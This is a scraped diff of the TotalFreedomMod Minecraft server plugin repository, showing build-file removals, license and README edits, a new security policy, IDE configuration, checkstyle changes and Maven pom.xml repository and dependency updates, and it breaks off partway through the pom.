For information about contributing to TotalFreedomMod, please see the [contributing guidelines](https://github.com/TotalFreedom/TotalFreedomMod/wiki/Contributing). For information about contributing to TotalFreedomMod, please see the [contributing guidelines](https://github.com/TotalFreedom/TotalFreedomMod/wiki/Contributing).

12
Jenkinsfile vendored
View File

@ -1,12 +0,0 @@
pipeline {
agent any
stages {
stage('Build') {
steps {
mvn -B package --file pom.xml
archiveArtifacts artifacts: '**/target/*.jar', fingerprint: true
}
}
}
}

View File

@ -1,4 +1,5 @@
# TotalFreedom General License # # TotalFreedom General License
_Version 2.0, 27th February 2015_ _Version 2.0, 27th February 2015_
Copyright (c) 2011 Steven Lawson Copyright (c) 2011 Steven Lawson
@ -7,7 +8,8 @@ Copyright (c) 2012 Jerom van der Sar
All rights reserved. All rights reserved.
##### 1. Definitions ##### ##### 1. Definitions
"License" shall mean the terms and conditions for use, reproduction, and distribution as defined by this document. "License" shall mean the terms and conditions for use, reproduction, and distribution as defined by this document.
"Licensor" shall mean the copyright holder or entity authorised by the copyright owner that is granting the License. "Licensor" shall mean the copyright holder or entity authorised by the copyright owner that is granting the License.
@ -30,12 +32,13 @@ All rights reserved.
"Redistribution" shall mean any partial or complete availability, transfer or publication of the Work from one Legal Entity to another. "Redistribution" shall mean any partial or complete availability, transfer or publication of the Work from one Legal Entity to another.
##### 2. Grant of Copyright License ##### ##### 2. Grant of Copyright License
Subject to the terms and conditions of this License, You are granted a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable copyright license to prepare Derivative Works of, publicly display, publicly perform, inspect and redistribute the Work and such Derivative Works as long as the following conditions are met:
Subject to the terms and conditions of this License, You are granted a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable copyright license to prepare Derivative Works of, publicly display, publicly perform, inspect and redistribute the Work and such Derivative Works as long as the following conditions are met:
1. Redistributions of This Software must solely occur in Source form. Redistribution in Object form is prohibited without prior written permission from the Licensor. 1. Redistributions of This Software must solely occur in Source form. Redistribution in Object form is prohibited without prior written permission from the Licensor.
2. Neither the names of the copyright holders nor the names this software's contributors may be removed from This Software's source code. 2. Neither the names of the copyright holders nor the names this software's contributors may be removed from This Software's source code.
3. Neither the names of the copyright holders nor the names of its contributors may be used to endorse or promote products derived from This Software without specific prior written permission. 3. Neither the names of the copyright holders nor the names of its contributors may be used to endorse or promote products derived from This Software without specific prior written permission.
@ -47,8 +50,10 @@ All rights reserved.
7. Sub licensing of This Software is prohibited without prior written permission from the Licensor. 7. Sub licensing of This Software is prohibited without prior written permission from the Licensor.
##### 3. Submission of Contributions ##### ##### 3. Submission of Contributions
Unless You explicitly state otherwise, any Contribution intentionally submitted for inclusion in the Work by You to the Licensor shall be under the terms and conditions of this License, without any additional terms or conditions. Notwithstanding the above, nothing herein shall supersede or modify the terms of any separate license agreement you may have executed with Licensor regarding such Contributions. Unless You explicitly state otherwise, any Contribution intentionally submitted for inclusion in the Work by You to the Licensor shall be under the terms and conditions of this License, without any additional terms or conditions. Notwithstanding the above, nothing herein shall supersede or modify the terms of any separate license agreement you may have executed with Licensor regarding such Contributions.
##### 4. Disclaimer of Warranty ##### ##### 4. Disclaimer of Warranty
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

View File

@ -1,14 +1,17 @@
# TotalFreedomMod [![Build Status](https://travis-ci.org/TFPatches/TotalFreedomMod.svg?branch=TFM-1.15)](https://travis-ci.org/TFPatches/TotalFreedomMod) [![codebeat badge](https://codebeat.co/badges/5f078e55-8a02-4120-9076-70f6994f48d1)](https://codebeat.co/projects/github-com-tfpatches-totalfreedommod-tfm-1-14-fa58c58f-b1c4-4221-bf78-346e07db6961) # TotalFreedomMod [![Maven-Build](https://github.com/AtlasMediaGroup/TotalFreedomMod/actions/workflows/maven.yml/badge.svg)](https://github.com/AtlasMediaGroup/TotalFreedomMod/actions/workflows/maven.yml) [![Codacy Badge](https://app.codacy.com/project/badge/Grade/29c0f964da304666bd654bc7b1d556db)](https://www.codacy.com/gh/AtlasMediaGroup/TotalFreedomMod/dashboard?utm_source=github.com&utm_medium=referral&utm_content=AtlasMediaGroup/TotalFreedomMod&utm_campaign=Badge_Grade) [![CodeQL](https://github.com/AtlasMediaGroup/TotalFreedomMod/actions/workflows/codeql-analysis.yml/badge.svg)](https://github.com/AtlasMediaGroup/TotalFreedomMod/actions/workflows/codeql-analysis.yml)
TotalFreedomMod is a CraftBukkit server plugin designed primarily to support the [Official TotalFreedom Minecraft Server](http://totalfreedom.me/). However, you are more than welcome to adapt the source for your own server. TotalFreedomMod is a CraftBukkit server plugin designed primarily to support the [Official TotalFreedom Minecraft Server](https://totalfreedom.me/). However, you are more than welcome to adapt the source for your own server.
This plugin was originally coded by StevenLawson (Madgeek1450), with Jerom van der Sar (Prozza) becoming heavily involved in its development some time later. It consists of over 85 custom coded commands and a large variety of distinguishable features not included in any other plugin. The plugin has since its beginning grown immensely. Together, with the main TotalFreedom server, TotalFreedomMod has a long-standing reputation of effectiveness whilst maintaining a clear feeling of openness towards the administrators and the players themselves. This plugin was originally coded by StevenLawson (Madgeek1450), with Jerom van der Sar (Prozza) becoming heavily involved in its development some time later. It consists of over 85 custom coded commands and a large variety of distinguishable features not included in any other plugin. The plugin has since its beginning grown immensely. Together, with the main TotalFreedom server, TotalFreedomMod has a long-standing reputation of effectiveness whilst maintaining a clear feeling of openness towards the administrators and the players themselves.
### Contributing ### ### Contributing
Please see [CONTRIBUTING.md](CONTRIBUTING.md) if you are interested in developing TotalFreedomMod. Please see [CONTRIBUTING.md](CONTRIBUTING.md) if you are interested in developing TotalFreedomMod.
For information on how TotalFreedomMod is licensed, please see [LICENSE.md](LICENSE.md). For information on how TotalFreedomMod is licensed, please see [LICENSE.md](LICENSE.md).
### Compiling ### For information on our security policy and reporting an issue, please see [SECURITY.md](SECURITY.md)
You need Maven to build. You'd also need to set the JDK version to Java 8 as that is the current standard as of now. ### Compiling
You need Maven to build. You'd also need to set the JDK version to Java 11 as that is the current standard as of now.

41
SECURITY.md Normal file
View File

@ -0,0 +1,41 @@
# Security Policy
## Supported Versions
We currently support the code running on the "main" branch and "development" branch of this repository. This is supported in addition to those formal releases, but note anything not yet released should be treated as in-development.
In terms of plugin releases, our support matrix is as follows:
### Actively Supported
These versions are currently actively supported by our team, and you should expect security patches where appropriate for these versions.
| Version | Supported | Support End: |
| ------------------- | ------------------ | ------------------------------ |
| 2021.09 | :white_check_mark: | No Earlier than December 2021 |
### Legacy Supported
These versions are no longer under active development, however we will look to release critical secuirty patches where appropriate.
| Version | Supported | Support End: |
| ------------------- | ------------------ | ------------ |
| 2021.06 | :white_check_mark: | October 2021 |
### No Longer Supported
These versions are no longer supported at all. It is strongly advised to update if you are running any of these versions.
| Version | Supported | Support Ended: |
| ------------------- | ------------------ | ------------------- |
| 2021.05 | :white_check_mark: | September 2021 |
| 2021.04 | :white_check_mark: | July 2021 |
| 2021.02 | :x: | 6 June 2021 |
| 2020.11 | :x: | 3 May 2021 |
| 6.0.x (Pre-Release) | :x: | December 2020 |
| < 2020.11 | :x: | December 2020 |
| < 5.x | :x: | December 2020 |
## Reporting a Vulnerability
If the report has minor security implications (ie we've added a super admin to a senior admins permission) please raise an post on [our forums](https://forum.totalfreedom.me/) in the first instance. If you do not have a forum account and do not wish to sign up, please e-mail us using the e-mail in the next sentence.
For security vulnerabilities that are more severe and that may pose a more significant threat to the servers running this plugin, please e-mail os-security-reports [ AT ] atlas-media.co.uk - You can expect an automated response immediately to acknowledge receipt of your e-mail, and one of our team will aim to respond within 72 hours and will work with you on the best way to address your concerns.

View File

@ -1,121 +0,0 @@
<?xml version="1.0" encoding="UTF-8"?>
<module org.jetbrains.idea.maven.project.MavenProjectsManager.isMavenModule="true" type="JAVA_MODULE" version="4">
<component name="FacetManager">
<facet type="minecraft" name="Minecraft">
<configuration>
<autoDetectTypes>
<platformType>PAPER</platformType>
</autoDetectTypes>
</configuration>
</facet>
</component>
<component name="NewModuleRootManager" LANGUAGE_LEVEL="JDK_1_8">
<output url="file://$MODULE_DIR$/target/classes" />
<output-test url="file://$MODULE_DIR$/target/test-classes" />
<content url="file://$MODULE_DIR$">
<sourceFolder url="file://$MODULE_DIR$/src/main/java" isTestSource="false" />
<sourceFolder url="file://$MODULE_DIR$/src/main/resources" type="java-resource" />
<sourceFolder url="file://$MODULE_DIR$/src/test/java" isTestSource="true" />
<excludeFolder url="file://$MODULE_DIR$/target" />
</content>
<orderEntry type="inheritedJdk" />
<orderEntry type="sourceFolder" forTests="false" />
<orderEntry type="library" scope="PROVIDED" name="Maven: org.bukkit:bukkit:1.9.4-R0.1-SNAPSHOT" level="project" />
<orderEntry type="library" scope="PROVIDED" name="Maven: org.avaje:ebean:2.8.1" level="project" />
<orderEntry type="library" scope="PROVIDED" name="Maven: org.spigotmc:spigot:1.14.1-R0.1-SNAPSHOT" level="project" />
<orderEntry type="library" name="Maven: org.apache.commons:commons-lang3:3.6" level="project" />
<orderEntry type="library" scope="PROVIDED" name="Maven: org.spigotmc:spigot:1.14-R0.1-SNAPSHOT" level="project" />
<orderEntry type="library" scope="PROVIDED" name="Maven: io.papermc:paperlib:1.0.1" level="project" />
<orderEntry type="library" scope="PROVIDED" name="Maven: net.ess3:Essentials:2.13.1" level="project" />
<orderEntry type="library" scope="PROVIDED" name="Maven: net.dv8tion:JDA:3.8.0_423" level="project" />
<orderEntry type="library" scope="PROVIDED" name="Maven: com.squareup.okhttp3:okhttp:3.8.1" level="project" />
<orderEntry type="library" scope="PROVIDED" name="Maven: com.squareup.okio:okio:1.13.0" level="project" />
<orderEntry type="library" scope="PROVIDED" name="Maven: org.json:json:20160810" level="project" />
<orderEntry type="library" scope="PROVIDED" name="Maven: io.papermc:paperlib:1.0.1" level="project" />
<orderEntry type="library" scope="PROVIDED" name="Maven: net.ess3:Essentials:2.13.1" level="project" />
<orderEntry type="library" scope="PROVIDED" name="Maven: net.dv8tion:JDA:3.8.0_423" level="project" />
<orderEntry type="library" scope="PROVIDED" name="Maven: com.squareup.okhttp3:okhttp:3.8.1" level="project" />
<orderEntry type="library" scope="PROVIDED" name="Maven: com.squareup.okio:okio:1.13.0" level="project" />
<orderEntry type="library" scope="PROVIDED" name="Maven: org.json:json:20160810" level="project" />
<orderEntry type="library" scope="PROVIDED" name="Maven: org.spigotmc:spigot:1.13.1-R0.1-SNAPSHOT" level="project" />
<orderEntry type="library" scope="PROVIDED" name="Maven: io.papermc:paperlib:1.0.1" level="project" />
<orderEntry type="library" scope="PROVIDED" name="Maven: net.ess3:Essentials:2.13.1" level="project" />
<orderEntry type="library" scope="PROVIDED" name="Maven: org.bukkit:craftbukkit:1.13.2-R0.1-SNAPSHOT" level="project" />
<orderEntry type="library" scope="PROVIDED" name="Maven: net.dv8tion:JDA:3.8.0_423" level="project" />
<orderEntry type="library" scope="PROVIDED" name="Maven: com.squareup.okhttp3:okhttp:3.8.1" level="project" />
<orderEntry type="library" scope="PROVIDED" name="Maven: com.squareup.okio:okio:1.13.0" level="project" />
<orderEntry type="library" scope="PROVIDED" name="Maven: org.json:json:20160810" level="project" />
<orderEntry type="library" scope="PROVIDED" name="Maven: net.coreprotect:coreprotect:2.15.0" level="project" />
<orderEntry type="library" scope="PROVIDED" name="Maven: org.bukkit:bukkit:1.13-R0.1-SNAPSHOT" level="project" />
<orderEntry type="library" scope="PROVIDED" name="Maven: org.projectlombok:lombok:1.18.0" level="project" />
<orderEntry type="library" name="Maven: commons-io:commons-io:2.6" level="project" />
<orderEntry type="library" name="Maven: org.apache.commons:commons-lang3:3.9" level="project" />
<orderEntry type="library" name="Maven: commons-codec:commons-codec:1.9" level="project" />
<orderEntry type="library" scope="PROVIDED" name="Maven: org.spigotmc:spigot:1.15-R0.1-SNAPSHOT" level="project" />
<orderEntry type="library" scope="PROVIDED" name="Maven: com.github.Pravian:Aero:5f82926" level="project" />
<orderEntry type="library" scope="PROVIDED" name="Maven: org.spigotmc:spigot-api:1.12-R0.1-SNAPSHOT" level="project" />
<orderEntry type="library" scope="PROVIDED" name="Maven: com.github.TotalFreedom:BukkitTelnet:4.5-pre1" level="project" />
<orderEntry type="library" scope="PROVIDED" name="Maven: org.apache.logging.log4j:log4j-core:2.5" level="project" />
<orderEntry type="library" scope="PROVIDED" name="Maven: org.apache.logging.log4j:log4j-api:2.5" level="project" />
<orderEntry type="library" scope="PROVIDED" name="Maven: com.github.TFPatches:TF-LibsDisguises:11aea9b3cd" level="project" />
<orderEntry type="library" scope="PROVIDED" name="Maven: com.comphenix.protocol:ProtocolLib:4.5.1-SNAPSHOT" level="project" />
<orderEntry type="library" scope="PROVIDED" name="Maven: cglib:cglib-nodep:3.2.5" level="project" />
<orderEntry type="library" scope="PROVIDED" name="Maven: com.comphenix.executors:BukkitExecutors:1.1-SNAPSHOT" level="project" />
<orderEntry type="library" scope="PROVIDED" name="Maven: com.sk89q.worldedit:worldguard-bukkit:7.0.2" level="project" />
<orderEntry type="library" scope="PROVIDED" name="Maven: net.ess3:EssentialsX:2.16.1" level="project" />
<orderEntry type="library" scope="PROVIDED" name="Maven: io.papermc:paperlib:1.0.2" level="project" />
<orderEntry type="library" scope="PROVIDED" name="Maven: net.ess3:NMSProvider:2.16.1" level="project" />
<orderEntry type="library" scope="PROVIDED" name="Maven: net.ess3:UpdatedMetaProvider:2.16.1" level="project" />
<orderEntry type="library" scope="PROVIDED" name="Maven: net.ess3:1_8_R1Provider:2.16.1" level="project" />
<orderEntry type="library" scope="PROVIDED" name="Maven: net.ess3:1_8_R2Provider:2.16.1" level="project" />
<orderEntry type="library" scope="PROVIDED" name="Maven: net.ess3:LegacyProvider:2.16.1" level="project" />
<orderEntry type="library" scope="PROVIDED" name="Maven: net.ess3:ReflectionProvider:2.16.1" level="project" />
<orderEntry type="library" scope="PROVIDED" name="Maven: net.ess3:FlattenedProvider:2.16.1" level="project" />
<orderEntry type="library" scope="PROVIDED" name="Maven: net.dv8tion:JDA:4.0.0_39" level="project" />
<orderEntry type="library" scope="PROVIDED" name="Maven: com.google.code.findbugs:jsr305:3.0.2" level="project" />
<orderEntry type="library" scope="PROVIDED" name="Maven: org.jetbrains:annotations:16.0.1" level="project" />
<orderEntry type="library" scope="PROVIDED" name="Maven: org.slf4j:slf4j-api:1.7.25" level="project" />
<orderEntry type="library" scope="PROVIDED" name="Maven: com.neovisionaries:nv-websocket-client:2.5" level="project" />
<orderEntry type="library" scope="PROVIDED" name="Maven: com.squareup.okhttp3:okhttp:3.13.0" level="project" />
<orderEntry type="library" scope="PROVIDED" name="Maven: com.squareup.okio:okio:1.17.2" level="project" />
<orderEntry type="library" scope="PROVIDED" name="Maven: club.minnced:opus-java-api:1.0.4" level="project" />
<orderEntry type="library" scope="PROVIDED" name="Maven: net.java.dev.jna:jna:4.4.0" level="project" />
<orderEntry type="library" scope="PROVIDED" name="Maven: club.minnced:opus-java-natives:1.0.4" level="project" />
<orderEntry type="library" scope="PROVIDED" name="Maven: org.apache.commons:commons-collections4:4.1" level="project" />
<orderEntry type="library" scope="PROVIDED" name="Maven: net.sf.trove4j:trove4j:3.0.3" level="project" />
<orderEntry type="library" scope="PROVIDED" name="Maven: com.fasterxml.jackson.core:jackson-databind:2.9.8" level="project" />
<orderEntry type="library" scope="PROVIDED" name="Maven: com.fasterxml.jackson.core:jackson-annotations:2.9.0" level="project" />
<orderEntry type="library" scope="PROVIDED" name="Maven: com.fasterxml.jackson.core:jackson-core:2.9.8" level="project" />
<orderEntry type="library" scope="PROVIDED" name="Maven: net.coreprotect:coreprotect:2.16.3" level="project" />
<orderEntry type="library" scope="PROVIDED" name="Maven: org.bukkit:bukkit:1.13.1-R0.1-SNAPSHOT" level="project" />
<orderEntry type="library" scope="PROVIDED" name="Maven: com.sk89q.worldedit:worldedit-bukkit:7.0.0-SNAPSHOT" level="project" />
<orderEntry type="library" scope="PROVIDED" name="Maven: com.sk89q.worldedit:worldedit-core:7.0.0-SNAPSHOT" level="project" />
<orderEntry type="library" scope="PROVIDED" name="Maven: com.sk89q.worldedit.worldedit-libs:core:7.0.0-SNAPSHOT" level="project" />
<orderEntry type="library" scope="PROVIDED" name="Maven: de.schlichtherle:truezip:6.8.3" level="project" />
<orderEntry type="library" scope="PROVIDED" name="Maven: rhino:js:1.7R2" level="project" />
<orderEntry type="library" scope="PROVIDED" name="Maven: com.sk89q.worldedit.worldedit-libs:bukkit:7.0.0-SNAPSHOT" level="project" />
<orderEntry type="library" scope="PROVIDED" name="Maven: org.apache.logging.log4j:log4j-slf4j-impl:2.8.1" level="project" />
<orderEntry type="library" scope="PROVIDED" name="Maven: com.sk89q.worldguard:worldguard-bukkit:7.0.2" level="project" />
<orderEntry type="library" scope="PROVIDED" name="Maven: com.sk89q.worldguard:worldguard-core:7.0.2" level="project" />
<orderEntry type="library" scope="PROVIDED" name="Maven: com.sk89q.worldguard.worldguard-libs:core:7.0.2" level="project" />
<orderEntry type="library" scope="PROVIDED" name="Maven: org.flywaydb:flyway-core:3.0" level="project" />
<orderEntry type="library" scope="PROVIDED" name="Maven: com.sk89q:commandbook:2.3" level="project" />
<orderEntry type="library" scope="PROVIDED" name="Maven: org.bstats:bstats-bukkit:1.5" level="project" />
<orderEntry type="library" scope="PROVIDED" name="Maven: com.destroystokyo.paper:paper-api:1.15.1-R0.1-SNAPSHOT" level="project" />
<orderEntry type="library" scope="PROVIDED" name="Maven: commons-lang:commons-lang:2.6" level="project" />
<orderEntry type="library" scope="PROVIDED" name="Maven: com.googlecode.json-simple:json-simple:1.1.1" level="project" />
<orderEntry type="library" scope="PROVIDED" name="Maven: junit:junit:4.10" level="project" />
<orderEntry type="library" scope="PROVIDED" name="Maven: org.hamcrest:hamcrest-core:1.1" level="project" />
<orderEntry type="library" scope="PROVIDED" name="Maven: com.google.guava:guava:21.0" level="project" />
<orderEntry type="library" scope="PROVIDED" name="Maven: com.google.code.gson:gson:2.8.0" level="project" />
<orderEntry type="library" scope="PROVIDED" name="Maven: net.md-5:bungeecord-chat:1.13-SNAPSHOT" level="project" />
<orderEntry type="library" scope="PROVIDED" name="Maven: org.yaml:snakeyaml:1.25" level="project" />
<orderEntry type="library" scope="PROVIDED" name="Maven: org.ow2.asm:asm:7.1" level="project" />
<orderEntry type="library" scope="PROVIDED" name="Maven: org.ow2.asm:asm-commons:7.1" level="project" />
<orderEntry type="library" scope="PROVIDED" name="Maven: org.ow2.asm:asm-tree:7.1" level="project" />
<orderEntry type="library" scope="PROVIDED" name="Maven: org.ow2.asm:asm-analysis:7.1" level="project" />
<orderEntry type="library" name="Maven: me.rayzr522:jsonmessage:1.0.0" level="project" />
<orderEntry type="library" scope="PROVIDED" name="Maven: com.github.vexsoftware:votifier:v1.9" level="project" />
<orderEntry type="library" scope="PROVIDED" name="Maven: com.github.ConnorLinfoot:ActionBarAPI:5b2d642d3d" level="project" />
</component>
</module>

View File

@ -2,20 +2,16 @@
<!DOCTYPE module PUBLIC <!DOCTYPE module PUBLIC
"-//Puppy Crawl//DTD Check Configuration 1.3//EN" "-//Puppy Crawl//DTD Check Configuration 1.3//EN"
"http://www.puppycrawl.com/dtds/configuration_1_3.dtd"> "http://www.puppycrawl.com/dtds/configuration_1_3.dtd">
<module name="Checker"> <module name="Checker">
<property name="charset" value="UTF-8"/> <property name="charset" value="UTF-8"/>
<property name="severity" value="warning"/> <property name="severity" value="warning"/>
<property name="fileExtensions" value="java, properties, xml"/> <property name="fileExtensions" value="java, properties, xml"/>
<module name="SuppressionFilter"> <module name="SuppressionFilter">
<property name="file" value="supressions.xml"/> <property name="file" value="supressions.xml"/>
</module> </module>
<module name="FileTabCharacter"> <module name="FileTabCharacter">
<property name="eachLine" value="true"/> <property name="eachLine" value="true"/>
</module> </module>
<module name="TreeWalker"> <module name="TreeWalker">
<module name="OuterTypeFilename"/> <module name="OuterTypeFilename"/>
<module name="IllegalTokenText"> <module name="IllegalTokenText">
@ -91,7 +87,7 @@
value="Local variable name ''{0}'' must match pattern ''{1}''."/> value="Local variable name ''{0}'' must match pattern ''{1}''."/>
</module> </module>
<module name="ClassTypeParameterName"> <module name="ClassTypeParameterName">
<property name="format" value="(^[A-Z][0-9]?)$|([A-Z][a-zA-Z0-9]*[T]$)"/> <property name="format" value="(^[A-Z][a-zA-Z0-9]*$)|([A-Z][a-zA-Z0-9]*[_][a-zA-Z0-9]*$)"/>
<message key="name.invalidPattern" <message key="name.invalidPattern"
value="Class type name ''{0}'' must match pattern ''{1}''."/> value="Class type name ''{0}'' must match pattern ''{1}''."/>
</module> </module>
@ -112,7 +108,8 @@
value="GenericWhitespace ''{0}'' is not preceded with whitespace."/> value="GenericWhitespace ''{0}'' is not preceded with whitespace."/>
</module> </module>
<module name="OverloadMethodsDeclarationOrder"/> <module name="OverloadMethodsDeclarationOrder"/>
<module name="CustomImportOrder"/><!-- http://checkstyle.sourceforge.net/config_imports.html --> <module name="CustomImportOrder"/>
<!-- http://checkstyle.sourceforge.net/config_imports.html -->
<module name="MethodParamPad"/> <module name="MethodParamPad"/>
<module name="OperatorWrap"> <module name="OperatorWrap">
<property name="option" value="NL"/> <property name="option" value="NL"/>

19
nb-configuration.xml Normal file
View File

@ -0,0 +1,19 @@
<?xml version="1.0" encoding="UTF-8"?>
<project-shared-configuration>
<!--
This file contains additional configuration written by modules in the NetBeans IDE.
The configuration is intended to be shared among all the users of project and
therefore it is assumed to be part of version control checkout.
Without this configuration present, some functionality in the IDE may be limited or fail altogether.
-->
<properties xmlns="http://www.netbeans.org/ns/maven-properties-data/1">
<!--
Properties that influence various parts of the IDE, especially code formatting and the like.
You can copy and paste the single properties, into the pom.xml file and the IDE will pick them up.
That way multiple projects can share the same settings (useful for formatting rules for example).
Any value defined here will override the pom.xml file value but is only applicable to the current project.
-->
<netbeans.hint.jdkPlatform>JDK_11</netbeans.hint.jdkPlatform>
<netbeans.checkstyle.format>true</netbeans.checkstyle.format>
</properties>
</project-shared-configuration>

255
pom.xml
View File

@ -5,12 +5,12 @@
<groupId>me.totalfreedom</groupId> <groupId>me.totalfreedom</groupId>
<artifactId>TotalFreedomMod</artifactId> <artifactId>TotalFreedomMod</artifactId>
<version>5.5</version> <version>2021.09-RC01</version>
<packaging>jar</packaging> <packaging>jar</packaging>
<properties> <properties>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding> <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
<tfm.build.codename>lttstore.com</tfm.build.codename> <tfm.build.codename>Phoenix</tfm.build.codename>
<jar.finalName>${project.name}</jar.finalName> <jar.finalName>${project.name}</jar.finalName>
<timestamp>${maven.build.timestamp}</timestamp> <timestamp>${maven.build.timestamp}</timestamp>
<maven.build.timestamp.format>MM/dd/yyyy HH:mm</maven.build.timestamp.format> <maven.build.timestamp.format>MM/dd/yyyy HH:mm</maven.build.timestamp.format>
@ -18,7 +18,7 @@
<name>TotalFreedomMod</name> <name>TotalFreedomMod</name>
<description>Server modification for the TotalFreedom server</description> <description>Server modification for the TotalFreedom server</description>
<url>https://github.com/TotalFreedom/TotalFreedomMod</url> <url>https://github.com/AtlasMediaGroup/TotalFreedomMod</url>
<licenses> <licenses>
<license> <license>
@ -39,9 +39,20 @@
</scm> </scm>
<repositories> <repositories>
<repository> <repository>
<id>jitpack.io</id> <id>atlas-nexus-01-totalfreedom-development</id>
<url>https://jitpack.io</url> <url>https://nexus-01.core.atlas-media.co.uk/repository/totalfreedom-development/</url>
</repository>
<repository>
<id>CodeMC</id>
<url>https://repo.codemc.org/repository/maven-public/</url>
</repository>
<repository>
<id>nms-repo</id>
<url>https://repo.codemc.org/repository/nms/</url>
</repository> </repository>
<repository> <repository>
@ -56,18 +67,18 @@
<repository> <repository>
<id>elmakers-repo</id> <id>elmakers-repo</id>
<url>http://maven.elmakers.com/repository/</url> <url>https://maven.elmakers.com/repository/</url>
</repository> </repository>
<repository> <repository>
<id>sk89q-snapshots</id> <id>sk89q-snapshots</id>
<url>http://maven.sk89q.com/artifactory/repo</url> <url>https://maven.sk89q.com/artifactory/repo</url>
</repository> </repository>
<repository> <repository>
<id>jcenter</id> <id>dv8tion</id>
<name>jcenter-bintray</name> <name>m2-dv8tion</name>
<url>https://jcenter.bintray.com</url> <url>https://m2.dv8tion.net/releases/</url>
</repository> </repository>
<repository> <repository>
@ -77,138 +88,111 @@
<repository> <repository>
<id>md_5-public</id> <id>md_5-public</id>
<url>http://repo.md-5.net/content/groups/public/</url> <url>https://repo.md-5.net/content/groups/public/</url>
</repository> </repository>
<repository> <repository>
<id>dmulloy2-repo</id> <id>dmulloy2-repo</id>
<url>http://repo.dmulloy2.net/nexus/repository/public/</url> <url>https://repo.dmulloy2.net/nexus/repository/public/</url>
</repository> </repository>
<repository> <repository>
<id>sk89q-repo</id> <id>sk89q-repo</id>
<url>http://maven.sk89q.com/repo/</url> <url>https://maven.sk89q.com/repo/</url>
</repository> </repository>
<repository> <repository>
<id>CodeMC</id> <id>esentialsx-repo</id>
<url>https://repo.codemc.org/repository/maven-public</url> <url>https://repo.essentialsx.net/releases/</url>
</repository>
<repository>
<id>papermc</id>
<url>https://papermc.io/repo/repository/maven-public/</url>
</repository>
<repository>
<id>rayzr-repo</id>
<url>https://cdn.rawgit.com/Rayzr522/maven-repo/master/</url>
</repository> </repository>
</repositories> </repositories>
<dependencies> <dependencies>
<dependency>
<groupId>org.projectlombok</groupId>
<artifactId>lombok</artifactId>
<version>1.18.0</version>
<scope>provided</scope>
</dependency>
<dependency> <dependency>
<groupId>commons-io</groupId> <groupId>commons-io</groupId>
<artifactId>commons-io</artifactId> <artifactId>commons-io</artifactId>
<version>2.6</version> <version>2.11.0</version>
<scope>compile</scope> <scope>compile</scope>
</dependency> </dependency>
<dependency> <dependency>
<groupId>org.apache.commons</groupId> <groupId>org.apache.commons</groupId>
<artifactId>commons-lang3</artifactId> <artifactId>commons-lang3</artifactId>
<version>3.9</version> <version>3.12.0</version>
<scope>compile</scope> <scope>compile</scope>
</dependency> </dependency>
<dependency> <dependency>
<groupId>commons-codec</groupId> <groupId>commons-codec</groupId>
<artifactId>commons-codec</artifactId> <artifactId>commons-codec</artifactId>
<version>1.9</version> <version>1.15</version>
<scope>compile</scope>
</dependency>
<dependency>
<groupId>org.bstats</groupId>
<artifactId>bstats-bukkit</artifactId>
<version>2.2.1</version>
<scope>compile</scope> <scope>compile</scope>
</dependency> </dependency>
<dependency> <dependency>
<groupId>org.spigotmc</groupId> <groupId>org.spigotmc</groupId>
<artifactId>spigot</artifactId> <artifactId>spigot</artifactId>
<version>1.15-R0.1-SNAPSHOT</version> <version>1.16.5-R0.1-SNAPSHOT</version>
<scope>provided</scope> <scope>provided</scope>
</dependency> </dependency>
<dependency> <dependency>
<groupId>com.github.Pravian</groupId> <groupId>com.github.TotalFreedomMC</groupId>
<artifactId>Aero</artifactId>
<version>5f82926</version>
<scope>provided</scope>
</dependency>
<dependency>
<groupId>com.github.TotalFreedom</groupId>
<artifactId>BukkitTelnet</artifactId> <artifactId>BukkitTelnet</artifactId>
<version>4.5-pre1</version> <version>541e9fdb84</version>
<scope>provided</scope> <scope>provided</scope>
</dependency> </dependency>
<dependency> <dependency>
<groupId>com.github.TFPatches</groupId> <groupId>com.github.AtlasMediaGroup</groupId>
<artifactId>TF-LibsDisguises</artifactId> <artifactId>TF-LibsDisguises</artifactId>
<version>11aea9b3cd</version> <version>5a340341b0</version>
<scope>provided</scope> <scope>provided</scope>
</dependency> </dependency>
<dependency> <dependency>
<groupId>com.sk89q.worldedit</groupId> <groupId>com.sk89q.worldedit</groupId>
<artifactId>worldedit-bukkit</artifactId> <artifactId>worldedit-bukkit</artifactId>
<version>7.1.0</version> <version>7.2.4</version>
<scope>provided</scope>
</dependency>
<dependency>
